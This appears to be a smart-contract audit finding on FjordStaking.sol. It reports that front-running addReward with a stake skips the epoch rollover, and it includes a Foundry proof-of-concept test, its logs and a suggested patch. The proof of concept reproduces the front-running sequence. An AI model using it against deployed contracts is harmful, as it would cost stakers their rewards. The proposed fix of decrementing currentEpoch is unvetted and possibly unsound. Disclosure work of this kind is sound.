Summary
The addReward function of `FjordStaking.sol` fails to trigger the _checkEpochRollover logic correctly , allowing front-running attacks to delay reward distributions.
https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordStaking.sol#L751C5-L768C6
function addReward(uint256 _amount) external onlyRewardAdmin {
if (_amount == 0) revert InvalidAmount();
@>> uint16 previousEpoch = currentEpoch;
fjordToken.safeTransferFrom(msg.sender, address(this), _amount);
_checkEpochRollover();
emit RewardAdded(previousEpoch, msg.sender, _amount);
}
Vulnerability Details
The addReward function is intended to be called in a transaction that triggers an epoch rollover. However, if this transaction is front-run by another action (such as a user stake), the epoch will update prematurely. This causes the _checkEpochRollover function's conditional logic to fail because the currentEpoch has already been updated.
https://github.com/Cyfrin/2024-08-fjord/blob/0312fa9dca29fa7ed9fc432fdcd05545b736575d/src/FjordStaking.sol#L692C9-L696C40
uint16 latestEpoch = getEpoch(block.timestamp);
if (latestEpoch > currentEpoch) {
currentEpoch = latestEpoch;
}
As currentEpoch is already updated, the rollover check fails to execute, leading to delayed reward calculations.
Impact
Stakers do not receive their rewards in the appropriate epoch
POC
pragma solidity =0.8.21;
import "../FjordStakingBase.t.sol";
import "forge-std/Test.sol";
contract Unstake_Unit_Test is FjordStakingBase {
function afterSetup() internal override {
fjordStaking.stake(10 ether);
}
function test_frontrun() public {
_addRewardAttack(1 ether, 7);
assertEq(fjordStaking.currentEpoch(), 8);
console2.log("fjordStaking.rewardPerToken(1) ", fjordStaking.rewardPerToken(1));
console2.log("fjordStaking.rewardPerToken(2) ", fjordStaking.rewardPerToken(2));
console2.log("fjordStaking.rewardPerToken(3) ", fjordStaking.rewardPerToken(3));
console2.log("fjordStaking.rewardPerToken(4) ", fjordStaking.rewardPerToken(4));
console2.log("");
}
function test_Correct_rewards() public {
_addRewardAndEpochRollover(1 ether, 7);
assertEq(fjordStaking.currentEpoch(), 8);
console2.log("fjordStaking.rewardPerToken(1) ", fjordStaking.rewardPerToken(1));
console2.log("fjordStaking.rewardPerToken(2) ", fjordStaking.rewardPerToken(2));
console2.log("fjordStaking.rewardPerToken(3) ", fjordStaking.rewardPerToken(3));
console2.log("fjordStaking.rewardPerToken(4) ", fjordStaking.rewardPerToken(4));
console2.log("");
}
function _addRewardAttack(uint256 reward, uint256 times) internal returns (uint16) {
for (uint256 i = 0; i < times; i++) {
vm.warp(vm.getBlockTimestamp() + fjordStaking.epochDuration());
vm.prank(alice);
fjordStaking.stake(1);
vm.prank(minter);
fjordStaking.addReward(reward);
}
return fjordStaking.currentEpoch();
}
}
Logs
[PASS] test_Correct_rewards() (gas: 338877)
Logs:
fjordStaking.rewardPerToken(1) 0
fjordStaking.rewardPerToken(2) 200000000000000000
fjordStaking.rewardPerToken(3) 300000000000000000
fjordStaking.rewardPerToken(4) 400000000000000000
[PASS] test_frontrun() (gas: 1165642)
Logs:
fjordStaking.rewardPerToken(1) 0
fjordStaking.rewardPerToken(2) 100000000000000000
fjordStaking.rewardPerToken(3) 199999999999999999
fjordStaking.rewardPerToken(4) 299999999999999998
Tools Used
Foundry
Recommendations
Force Epoch Rollover in addReward: Modify the addReward function to decrement currentEpoch before calling the _checkEpochRollover function. This ensures that the epoch rollover is always triggered, even if the function is front-run.
function addReward(uint256 _amount) external onlyRewardAdmin {
//CHECK
if (_amount == 0) revert InvalidAmount();
//EFFECT
-- uint16 previousEpoch = currentEpoch;
++ currentEpoch--;
//INTERACT
fjordToken.safeTransferFrom(msg.sender, address(this), _amount);
_checkEpochRollover();
-- emit RewardAdded(previousEpoch, msg.sender, _amount);
++ emit RewardAdded(currentEpoch, msg.sender, _amount);
}
